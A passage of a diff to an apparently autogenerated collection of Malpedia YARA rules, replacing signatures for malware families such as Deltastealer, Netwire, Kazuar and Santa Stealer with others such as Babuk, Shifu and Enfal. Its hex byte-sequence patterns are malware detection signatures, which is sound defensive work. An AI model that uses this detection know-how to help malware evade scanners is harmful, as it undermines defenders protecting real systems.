e8???????? } - $sequence_9 = { ffc1 e8???????? 48894580 48895588 488d4580 48898520ffffff 488d1d6a691000 } + $sequence_0 = { e8???????? 83c40c 8d45f0 c745d801000000 66c745dc0500 50 } + $sequence_1 = { 56 ffd3 6a00 8d8500ffffff } + $sequence_2 = { c3 8b442404 8a08 84c9 7408 80e904 } + $sequence_3 = { ebf2 c3 55 8bec 81ec0c010000 } + $sequence_4 = { 6860ea0000 ffd6 33c0 8d8d00feffff 50 } + $sequence_5 = { 50 e8???????? 8d8500fbffff 53 50 e8???????? } + $sequence_6 = { c605????????43 ff15???????? 8bf0 68???????? } + $sequence_7 = { 85c0 7508 6a01 58 e9???????? 6a07 } + $sequence_8 = { 57 ffd6 85c0 740b 50 ff15???????? } + $sequence_9 = { c745d801000000 66c745dc0500 50 8d45ac 50 53 } condition: - 7 of them and filesize < 4121600 + 7 of them and filesize < 49152 } -rule MALPEDIA_Win_Deltastealer_Auto : FILE +rule MALPEDIA_Win_Topinambour_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "4fccefcb-7a2e-57a6-ab41-b89b24454179" + id = "248239f8-95b8-583c-8553-e48d7a46283a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.deltastealer" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.deltastealer_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.topinambour" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.topinambour_auto.yar#L1-L118" license_url = "N/A" - logic_hash = "8e1fc56421c67233761e9d4924d596056974746fe89cb951900a859521620234" + logic_hash = "3b116af57ab25dd36210660cdcf34a024e37c1d655144c3fd22d92727ae67613" score = 75 quality = 75 tags = "FILE" @@ -83631,32 +83624,32 @@ rule MALPEDIA_Win_Deltastealer_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { eb5d 31ff eb18 48314618 4889f1 e8???????? 488b4638 } - $sequence_1 = { 4d89d7 40b601 83ff01 0f8583000000 4181fcff000000 0f873c050000 4885db } - $sequence_2 = { e8???????? 8a5860 4889f9 e8???????? 448a7060 4889f9 e8???????? } - $sequence_3 = { c3 4d89c8 e8???????? 0f0b 4157 4156 4155 } - $sequence_4 = { e8???????? 4889f9 89ea e8???????? 41c60707 4883c438 5b } - $sequence_5 = { 498b4e28 498b5630 41c60709 41c7471802000000 e8???????? 90 4883c438 } - $sequence_6 = { eb18 488b4e40 4883c118 e8???????? e8???????? 488906 895608 } - $sequence_7 = { e8???????? 0f0b ba08000000 4889f0 4883c420 5b 5f } - $sequence_8 = { e8???????? 4829fe 4c89f1 4889f2 4883c428 5b 5f } - $sequence_9 = { 8b90cc000000 895108 83a0c400000000 e8???????? c70701000000 894704 } + $sequence_0 = { 2b1d 09 1106 1107 } + $sequence_1 = { 02 282100000a 6f2200000a 25 6f1d00000a 16 6f2300000a } + $sequence_2 = { 1105 8d0f000001 1306 16 1307 } + $sequence_3 = { 6f1d00000a 7245000070 6f2000000a 25 6f1d00000a 7255000070 02 } + $sequence_4 = { 20204e0000 6f0c00000a 09 2060ea0000 6f0d00000a } + $sequence_5 = { 25 721d000070 6f0500000a 25 } + $sequence_6 = { 730900000a 0c 6f0a00000a 17 1c 730b00000a } + $sequence_7 = { 25 6f1d00000a 7255000070 02 282100000a } + $sequence_8 = { 2e06 731000000a 7a 1104 16 } + $sequence_9 = { 6f1400000a 2802000006 1308 281300000a 1108 6f1500000a } condition: - 7 of them and filesize < 3532800 + 7 of them and filesize < 50176 } -rule MALPEDIA_Win_Mozart_Auto : FILE +rule MALPEDIA_Win_Evilconwi_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e6ef70f1-9d8c-5900-bac0-94145c939b8a" + id = "7f652ca8-a434-5be9-ae21-4e0e49d2fcee" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mozart" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mozart_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.evilconwi" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.evilconwi_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "3d072f882d8d032cd0ba33880719776c6c63b0d1fb641e5640a7afb53ae04bf9" + logic_hash = "212869a6ab86c4f0f11665af7cc6fecf827786dd09d766a1df9e90f9f4dd950f" score = 75 quality = 75 tags = "FILE" @@ -83670,32 +83663,32 @@ rule MALPEDIA_Win_Mozart_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 33f6 c644241800 eb26 8d4c2418 51 } - $sequence_1 = { 8b542468 41 3bca 736e 8bd0 } - $sequence_2 = { 7c19 3c39 7f15 bd01000000 eb08 3c30 7c36 } - $sequence_3 = { 7471 c1e006 0bc7 a900000001 7425 } - $sequence_4 = { 0f84a0010000 48 0f84e6000000 48 0f85fd010000 85ed 7544 } - $sequence_5 = { 0fbe0a 8a89c8924000 0fb6f9 8bcf 42 83e940 } - $sequence_6 = { 8a08 40 84c9 75f9 8b8c2420100000 } - $sequence_7 = { 90 8a82e0ba4000 3a841420010000 751f b8???????? } - $sequence_8 = { 83fe10 7409 33f6 c644241800 eb39 80fb3d 740e } - $sequence_9 = { 3bd0 72e2 5e 32c0 } + $sequence_0 = { 83c8ff eb07 8b04cd54e14000 5f 5e 5b } + $sequence_1 = { eb3d 8b0b 894dfc 8d048dac1b4100 8b30 90 } + $sequence_2 = { c700???????? 8b4508 898850030000 8b4508 59 c7404898134100 8b4508 } + $sequence_3 = { 56 57 8d1c85f01e4100 8b03 8b15???????? 83cfff } + $sequence_4 = { 72eb 6a00 ff75e4 ff15???????? ff75d0 } + $sequence_5 = { 50 6a00 6a0b ff75f8 ffd7 85c0 0f84a6000000 } + $sequence_6 = { 660f58e0 660fc5c400 25f0070000 660f28a060f74000 660f28b850f34000 } + $sequence_7 = { 8b45fc 03148d781f4100 8b00 894218 8a03 884228 } + $sequence_8 = { 50 8d45fc c745dc04000000 50 6a00 6a0b } + $sequence_9 = { 8b04bd781f4100 807c302900 7504 32c0 eb1a 8d45fc 50 } condition: - 7 of them and filesize < 114688 + 7 of them and filesize < 172032 } -rule MALPEDIA_Win_Wslink_Auto : FILE +rule MALPEDIA_Win_Unidentified_098_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ff84d0ba-7c6b-551a-aa8c-f9cc4b863272" + id = "cee1322b-e182-5772-a21f-5cf6e6750059" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wslink" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.wslink_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_098" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_098_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "87e90a1a72b66a6938037799ecf454860aae5ad77216cc7fb9189ea554932eeb" + logic_hash = "e8d2888b0e7d3535c791d7aba0e1785261ca562eca0e4741087a888aec2763e8" score = 75 quality = 75 tags = "FILE" @@ -83709,32 +83702,32 @@ rule MALPEDIA_Win_Wslink_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8bd0 e8???????? 4885c0 7494 48638ba0000000 488bd1 3b8ba4000000 } - $sequence_1 = { 488b8be8000000 4885c9 7405 e8???????? 488b7b08 4885ff } - $sequence_2 = { 488b05???????? 4833c4 48898424c0000000 33db 458be1 4c89442450 4183cfff } - $sequence_3 = { 4c8d0d633b0a00 448d400d e9???????? 83781000 0f859f000000 83780800 0f8495000000 } - $sequence_4 = { 418bc5 e9???????? bad9000000 4c8d0d96920700 b910000000 448d42b3 c7442420d8000000 } - $sequence_5 = { 4885c0 743d 4885f6 740e 660f1f440000 48ffce 881c06 } - $sequence_6 = { 7532 4c8d0d97450a00 8d4810 448d4008 ba9a000000 c744242048010000 e8???????? } - $sequence_7 = { 488bd8 4885c0 752b 4c8d0d885f0b00 8d506c 8d4820 448d4041 } - $sequence_8 = { 0302 6690 e11c 0100 ec 1c01 00d6 } - $sequence_9 = { e8???????? 8b8c2490000000 4885c0 746e 894b08 4d8b0f 498b5500 } + $sequence_0 = { 4c89f1 e8???????? b901000000 4989c5 e8???????? 4989c4 0fb644244f } + $sequence_1 = { e9???????? 498b0424 8954244c 4c89e1 4488442440 ff5048 8b54244c } + $sequence_2 = { 488945b0 488b45c8 0fb64038 3c01 7423 84c0 0f849e000000 } + $sequence_3 = { 48397c2448 0f83b5000000 488b4310 488b5318 c644244401 4839d0 } + $sequence_4 = { 7426 662e0f1f840000000000 498b4c2408 4885c9 7446 4983c420 e8???????? } + $sequence_5 = { 4c89f7 31c0 f3aa b903000000 c744244c04010000 4989f0 4c89f2 } + $sequence_6 = { 4e8d0441 4c894220 4e8d0c49 4c894a30 41b900000080 4c39c8 7c1b } + $sequence_7 = { c744243c00000000 89442420 e8???????? b804000000 4d8d442410 488b542448 488b4c2440 } + $sequence_8 = { 3c20 7407 88842f39010000 488b8ba0000000 e8???????? 4885c0 0f84a6020000 } + $sequence_9 = { e8???????? 418b442414 83f80a 7580 0f1f00 49ff442430 49c744242800000000 } condition: - 7 of them and filesize < 2007040 + 7 of them and filesize < 3345408 } -rule MALPEDIA_Win_Oatboat_Auto : FILE +rule MALPEDIA_Win_Babyshark_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "4613e236-064b-571a-be7e-ff2a01da6b41" + id = "bba62dea-b8fb-5177-af59-ee7484609223" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.oatboat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.oatboat_auto.yar#L1-L103" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.babyshark" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.babyshark_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "7413375bcf19ea166467a5406a23466233d2d4aaf455c3de8007d0b602ee838d" + logic_hash = "170a55c792dd841a430b5276e4b7ea8cd0c0e2d28c406b503a22728951bd6c1d" score = 75 quality = 75 tags = "FILE" @@ -83748,30 +83741,32 @@ rule MALPEDIA_Win_Oatboat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c745e465655669 c745e872747561 c745ec6c4d656d c745f06f727900 e8???????? 41b900800000 } - $sequence_1 = { 488d0dc20b0000 ff15???????? 33c0 4883c450 415f } - $sequence_2 = { 4c896538 c745e04e74416c c745e46c6f6361 c745e874655669 c745ec72747561 c745f06c4d656d c745f46f727900 } - $sequence_3 = { c745e8656d6f72 66c745ec7900 e8???????? 4d8bc4 } - $sequence_4 = { c745ec72747561 c745f06c4d656d c745f46f727900 e8???????? 4c8d4d38 c744242840000000 4533c0 } - $sequence_5 = { 488bc8 e8???????? 488bd8 488b7c2458 488bc3 } - $sequence_6 = { 7527 488d4df0 c745f04c6f6164 c745f44c696272 c745f861727957 44887dfc e8???????? } - $sequence_7 = { c745ec33003200 c745f02e004400 c745f44c004c00 e8???????? } + $sequence_0 = { 83c40c 8d4c2404 6a00 51 ffd6 6a00 } + $sequence_1 = { 8bc8 83e01f c1f905 8b0c8d607e4000 8a44c104 83e040 } + $sequence_2 = { 8b0c8d607e4000 8a44c104 83e040 c3 a1???????? } + $sequence_3 = { bf???????? f3ab 8d3452 895dfc c1e604 aa 8d9ec8674000 } + $sequence_4 = { 80e920 ebe0 80a0206c400000 40 3bc6 72be 5e } + $sequence_5 = { 8db6bc674000 bf???????? a5 a5 59 a3???????? } + $sequence_6 = { 8a8094504000 83e00f eb02 33c0 0fbe84c6b4504000 } + $sequence_7 = { c1f804 83f807 8945d0 0f879a060000 ff2485271a4000 834df0ff } + $sequence_8 = { 5e 8d0c8dc8614000 3bc1 7304 3910 7402 } + $sequence_9 = { ff15???????? 8bf0 68???????? 8d442408 68???????? 50 } condition: - 7 of them and filesize < 58368 + 7 of them and filesize < 65272 } -rule MALPEDIA_Win_Madmax_Auto : FILE +rule MALPEDIA_Win_Shifu_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "211dedfc-7c78-54d2-bc9c-659fc1684566" + id = "94131f96-f004-59ab-be06-e4302b4af25a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.madmax" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.madmax_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shifu" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.shifu_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "cf6b2a7b533fb3f99bc15493e8a8779b3f938c747aabda5388a89eac12fccb62" + logic_hash = "c03c0d8c15de6f3e31605e542d8b0452407c2c6c3eb4ca0055ffada2d5d050db" score = 75 quality = 75 tags = "FILE" @@ -83785,32 +83780,32 @@ rule MALPEDIA_Win_Madmax_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { f605????????5a 0f85ea000000 95 8883424ceb3e 38af847bb313 8320aa d590 } - $sequence_1 = { fa 768b 872a fd 2a4f0e e8???????? b3df } - $sequence_2 = { af 2f ac 7cd6 45 98 92 } - $sequence_3 = { bf45f19eb2 ac a5 d6 34e2 1117 4c } - $sequence_4 = { e6d1 f5 9f 45 7b78 39770f d0de } - $sequence_5 = { b4bf 49 95 14c0 393f d8d3 fc } - $sequence_6 = { 7135 fd 9e 9d 50 50 9c } - $sequence_7 = { c9 09f8 96 67a4 61 52 636e85 } - $sequence_8 = { 9d 53 6a03 e8???????? 83c40c 9c f605????????e8 } - $sequence_9 = { be492ea060 c14434e19e 46 2f d3f4 fa 6be92a } + $sequence_0 = { 895dfc 6a08 58 e8???????? 8bc4 85c0 7411 } + $sequence_1 = { 56 e8???????? 85c0 0f848d010000 ff7508 683a041000 e8???????? } + $sequence_2 = { 83c420 f644242010 741c 6a04 6a00 ff742418 e8???????? } + $sequence_3 = { 83c604 833e00 75a3 83c714 8b470c 85c0 0f8573ffffff } + $sequence_4 = { 6800200000 57 57 6a02 ff15???????? 8bd8 3bdf } + $sequence_5 = { 7516 6aff 53 ff15???????? 83f8ff 7408 53 } + $sequence_6 = { 85c0 7540 3945f4 7447 ff15???????? 8b75f8 8365f400 } + $sequence_7 = { 50 68060000c8 56 c7442430b907a225 c744243660468ee9 c744243a76e58c74 66c744243e063e } + $sequence_8 = { 50 ff15???????? 6a10 58 e8???????? 8bc4 3bc7 } + $sequence_9 = { e8???????? 50 ffd6 893d???????? 3bc7 740a c705????????01000000 } condition: - 7 of them and filesize < 3227648 + 7 of them and filesize < 344064 } -rule MALPEDIA_Win_Targetcompany_Auto : FILE +rule MALPEDIA_Win_Enfal_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "4c6c1b9e-4647-5918-893c-d13ce0b5fa25" + id = "664ed877-3f83-5f6a-92fa-e1c35cd0edbd" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.targetcompany" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.targetcompany_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.enfal" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.enfal_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "47a23feab60239622d1061098dd7caa46d2a81895190e3a3f7d203abbeea4b5b" + logic_hash = "872fbd5343bee5c1e22067a7277b79e519c2acefc43b08d0086dc684465dbd92" score = 75 quality = 75 tags = "FILE" @@ -83824,32 +83819,32 @@ rule MALPEDIA_Win_Targetcompany_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8955f4 e8???????? ff75b4 8bf8 53 } - $sequence_1 = { e8???????? 8d45b0 50 8d85c0feffff 50 8d8d10ffffff e8???????? } - $sequence_2 = { 8bcf 83f808 7207 8b17 89550c eb03 897d0c } - $sequence_3 = { 57 6a0f 5a 8bce 8d45e0 e8???????? } - $sequence_4 = { 50 ff15???????? be08000100 56 8944242c 8d842430450000 53 } - $sequence_5 = { 53 895db0 8955b4 e8???????? ff75b4 8906 8b4708 } - $sequence_6 = { 0f85a0000000 56 50 68???????? e8???????? 83c40c 83bdbcfeffff20 } - $sequence_7 = { 8945c0 8b75c0 8d7d9c a5 } - $sequence_8 = { ab ab 53 53 ab 8b442424 6801200000 } - $sequence_9 = { 83fe50 72d0 8db564ffffff e8???????? } + $sequence_0 = { e8???????? 8d8648020000 68???????? 50 } + $sequence_1 = { bffe010000 eb05 bff4010000 8bc7 5e eb02 } + $sequence_2 = { 51 8d8de8fcffff 51 53 ff505c 85c0 } + $sequence_3 = { 8d85b4fdffff 68???????? 50 e8???????? 8d85b4fdffff 57 } + $sequence_4 = { 8bec 81eccc040000 53 56 8b35???????? 57 } + $sequence_5 = { 89430c ffd6 8b4b1c 68???????? 57 } + $sequence_6 = { 50 e8???????? 8d8628020000 68???????? } + $sequence_7 = { 0fb645da 8d0480 8dbc0059020000 eb54 8b8548ffffff } + $sequence_8 = { 6a01 57 ff15???????? 8bf0 85f6 0f848e000000 8b4624 } + $sequence_9 = { 57 8901 ffd6 8b4b1c 68???????? 57 } condition: - 7 of them and filesize < 328704 + 7 of them and filesize < 65536 } -rule MALPEDIA_Win_Netwire_Auto : FILE +rule MALPEDIA_Win_Gcleaner_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "4555ab85-e4c7-54f3-be4b-3e67ab290352" + id = "db79045a-62be-5422-a484-4f1494402bb2" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.netwire" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.netwire_auto.yar#L1-L116" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gcleaner" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gcleaner_auto.yar#L1-L117" license_url = "N/A" - logic_hash = "10b18e0d62127105687ce75fd82795cf02980d2ae8e7158e6a2316037cb7d8e4" + logic_hash = "87e8c0680ea583ebecdec70190c315f1a40f9206262d6c132334f2c61dd046c1" score = 75 quality = 75 tags = "FILE" @@ -83863,34 +83858,34 @@ rule MALPEDIA_Win_Netwire_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c744241000000000 c744240c00000000 c744240800000000 c744240400000000 c7042410000000 } - $sequence_1 = { c744242c00000000 c744242800000000 c744242400000000 c7442420fdffffff } - $sequence_2 = { e8???????? c7042410000000 e8???????? 84c0 } - $sequence_3 = { e8???????? c7042446000000 e8???????? c7042449000000 e8???????? c7042446000000 e8???????? } - $sequence_4 = { c70424???????? e8???????? a3???????? e9???????? c705????????00000000 e9???????? c7042410020000 } - $sequence_5 = { e8???????? c7442410000000f0 c744240c01000000 c744240800000000 c744240400000000 c70424???????? } - $sequence_6 = { 83ec0c c7442408???????? c7442404???????? c70424???????? } - $sequence_7 = { 740c c7042400000000 e8???????? c70424???????? e8???????? } - $sequence_8 = { c70424???????? e8???????? a3???????? e9???????? c705????????00000000 e9???????? } - $sequence_9 = { e8???????? c7042401000000 e8???????? 84c0 } + $sequence_0 = { 50 6a04 8d85f0feffff 50 56 ff15???????? 85c0 } + $sequence_1 = { 5e c9 c3 53 ff7518 } + $sequence_2 = { 8035????????2e 8035????????2e 8035????????2e 8035????????2e 8035????????2e } + $sequence_3 = { 8bf8 83c40c 83ffff 743b 3bf7 } + $sequence_4 = { 57 8bd0 c645fc03 8d4dc0 } + $sequence_5 = { 7505 c60600 ebe9 837d1000 7518 } + $sequence_6 = { 8bd0 c645fc02 8d4da8 e8???????? 57 8bd0 } + $sequence_7 = { 8bd0 c645fc04 8d4dd8 e8???????? 83c410 8d4dc0 } + $sequence_8 = { 50 660fd685f8feffff e8???????? 83c40c 56 } + $sequence_9 = { ebe9 837d1000 7518 c60600 e8???????? } condition: - 7 of them and filesize < 416768 + 7 of them and filesize < 540672 } -rule MALPEDIA_Win_Squidloader_Auto : FILE +rule MALPEDIA_Win_Compfun_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "7aae3b25-945a-5fb1-9acc-809b1e90e6e6" + id = "c3d00d25-914d-52b8-aa23-a416041c458d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.squidloader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.squidloader_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.compfun" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.compfun_auto.yar#L1-L160" license_url = "N/A" - logic_hash = "a855ddb0a2fda3c6498fbc6ae734c571ea8f3a4a311f9d9ebae8f8d336ad0dd5" - score = 60 - quality = 55 + logic_hash = "8284624d97f6e1919129028ed727636c96197862138001108f45d962bbade24e" + score = 75 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -83902,71 +83897,77 @@ rule MALPEDIA_Win_Squidloader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 0f114c2440 0f114c2450 0f114c2460 0f114c2470 } - $sequence_1 = { 5f 5e c3 4053 4883ec30 488bd9 8b4934 } - $sequence_2 = { c3 4053 4883ec30 488bd9 8b4934 83e902 } - $sequence_3 = { 57 4881ec90000000 488b05???????? 4833c4 4889842480000000 488bda 488bf9 } - $sequence_4 = { 5e c3 4053 4883ec30 488bd9 8b4934 } - $sequence_5 = { c3 4053 4883ec30 488bd9 8b4934 83e902 746a } - $sequence_6 = { c3 4053 4883ec30 488bd9 8b4934 } - $sequence_7 = { 5e c3 4053 4883ec30 488bd9 8b4934 83e902 } - $sequence_8 = { ffd3 48837c242800 0f84ae000000 b8ffffffff f00fc105???????? 85c0 7f0c } - $sequence_9 = { e8???????? f30f108424a0010000 f30f108c24a4010000 e8???????? f20f108c2420010000 0f16d1 0fc6c000 } + $sequence_0 = { 6a00 56 e8???????? 83c40c c7460c57202020 c70652656745 c746046e756d4b } + $sequence_1 = { c7460475705072 c746086976696c c7460c65676556 c74610616c7565 c6461500 8bc6 5e } + $sequence_2 = { c7460c62757465 c6461200 8bc6 5e 5d } + $sequence_3 = { 742d 53 8d85d8fdffff 50 a1???????? } + $sequence_4 = { c746144533442d c7461843343537 c7461c39323931 c7462036393245 c6462500 } + $sequence_5 = { e8???????? 59 50 57 ffd3 894650 85c0 } + $sequence_6 = { 83c40c c746086c655720 c70643726561 c7460474654669 } + $sequence_7 = { e8???????? 83c40c c706466c7573 c746046846696c c7460865427566 c7460c66657273 } + $sequence_8 = { 488b8424a0000000 ff5030 85c0 7508 } + $sequence_9 = { 837c2428ff 740a c744244401000000 eb08 } + $sequence_10 = { 488b842438010000 8908 488b842438010000 8b08 } + $sequence_11 = { ff15???????? 4c8bd8 488b442460 4c895848 } + $sequence_12 = { 8b9424a4000000 488b8c2498000000 488b442438 420fb60400 } + $sequence_13 = { 488b442420 48890424 488b0424 c70073766368 } + $sequence_14 = { 483904d1 750a 8b442438 89442420 } + $sequence_15 = { 488b442450 0fb600 3de9000000 740f } condition: - 7 of them and filesize < 18701312 + 7 of them and filesize < 402432 } -rule MALPEDIA_Win_Kazuar_Auto : FILE +rule MALPEDIA_Elf_Babuk_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ccff8922-162c-572c-8893-65e66a285e05" - date = "2026-01-05" - modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kazuar" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kazuar_auto.yar#L1-L124" + id = "8eba83d0-6c95-5d1f-85db-3750f26fdff6" + date = "2024-10-31" + modified = "2024-11-11" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/elf.babuk" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/elf.babuk_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "e795bcf133e170c8cc0011c1658f28fb0b95178f81911116117a7619cede54b7" + logic_hash = "a4e1d4252d61243f852bbd89e2ebf51566a3485791e9905d978089b8c49c4cb9" score = 75 quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20260105" - malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" - malpedia_version = "20251219" + malpedia_rule_date = "20241030" + malpedia_hash = "26e26953c49c8efafbf72a38076855d578e0a2e4" + malpedia_version = "20241030" malpedia_license = "CC BY-SA 4.0" malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7452 83b98c00000000 7449 4c01de 31db 8b6e20 448b6618 } - $sequence_1 = { 83c002 c744240400000000 668945f2 8d45ec c7042400000000 8944240c 8d45f0 } - $sequence_2 = { e8???????? 89c3 e8???????? 01c0 895df4 } - $sequence_3 = { 31c0 4885c9 4989cb 89d7 7463 4863493c } - $sequence_4 = { 8b0402 4c01d8 eb07 48ffc3 ebc8 31c0 } - $sequence_5 = { 8d8b00030000 894c2408 8d4b08 894c2404 ff522c 83ec18 } - $sequence_6 = { 6685c9 7417 e8???????? 0fb7c0 41ffc1 } - $sequence_7 = { 31c0 4885db 7428 4989db 498b4b40 e8???????? 3d88ae6393 } - $sequence_8 = { 7425 e8???????? 39f8 751c 8b4624 4801db } - $sequence_9 = { 8d8b00030000 894c2408 8d4b08 894c2404 ff522c } + $sequence_0 = { 658b0d00000000 8b89fcffffff 3b6108 7678 83ec14 8b442418 8b4c241c } + $sequence_1 = { 8b4c2438 890f 8b542444 89570c 8b1d???????? 85db } + $sequence_2 = { e8???????? 8b44240c 89442410 8b4c2418 890c24 e8???????? 8b442420 } + $sequence_3 = { e8???????? 8b442438 8b4804 90 8b492c 894c2420 e8???????? } + $sequence_4 = { c3 658b1d00000000 8b9bfcffffff 8b5b18 8b5b70 8403 890424 } + $sequence_5 = { 01d9 8b9c24a8010000 8bbc243c030000 01fb 11cd 8b8c248c010000 8b9c2464020000 } + $sequence_6 = { 8b44244c 8b4c2440 31d2 eb06 8d5101 90 89f1 } + $sequence_7 = { 895328 8b9424b0000000 8b8c2490000000 01ca 33562c 89532c } + $sequence_8 = { 8b5a40 39d8 0f85360f0000 89bc2408020000 81c4dc010000 c3 89c7 } + $sequence_9 = { 8b4c2424 01ca 89942444050000 8b8c2490050000 c1e11a 898c2420050000 } condition: - 7 of them and filesize < 81920 + 7 of them and filesize < 4186112 } -rule MALPEDIA_Win_Santa_Stealer_Auto : FILE +rule MALPEDIA_Win_Attor_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "698b58d7-3beb-5b12-b9ab-ea8db82a9446" + id = "9165df3a-0588-5937-bb39-c85fa6fb26bb" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.santa_stealer" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.santa_stealer_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.attor" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.attor_auto.yar#L1-L164" license_url = "N/A" - logic_hash = "0ee975510b7aa8f6c88f59ccf7386a44e723fcc4879e58b69b100521065bb285" + logic_hash = "0c87726814bf53a9906b73b9a1468bc9095c79fe1e564f252fa0222653b1264a" score = 75 quality = 75 tags = "FILE" @@ -83980,34 +83981,40 @@ rule MALPEDIA_Win_Santa_Stealer_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e9???????? 488d5640 4c89e1 44896c2458 4c897c2460 e8???????? 89c3 } - $sequence_1 = { 6644894114 488b4918 41c7422407000000 80796700 75b3 80796800 75ad } - $sequence_2 = { c744246cffffffff 488b01 4885c0 7464 4c8d44246c ba0a000000 ff5050 } - $sequence_3 = { e8???????? 89c7 85c0 0f8504f9ffff 8b4334 c7436801000000 4429e0 } - $sequence_4 = { 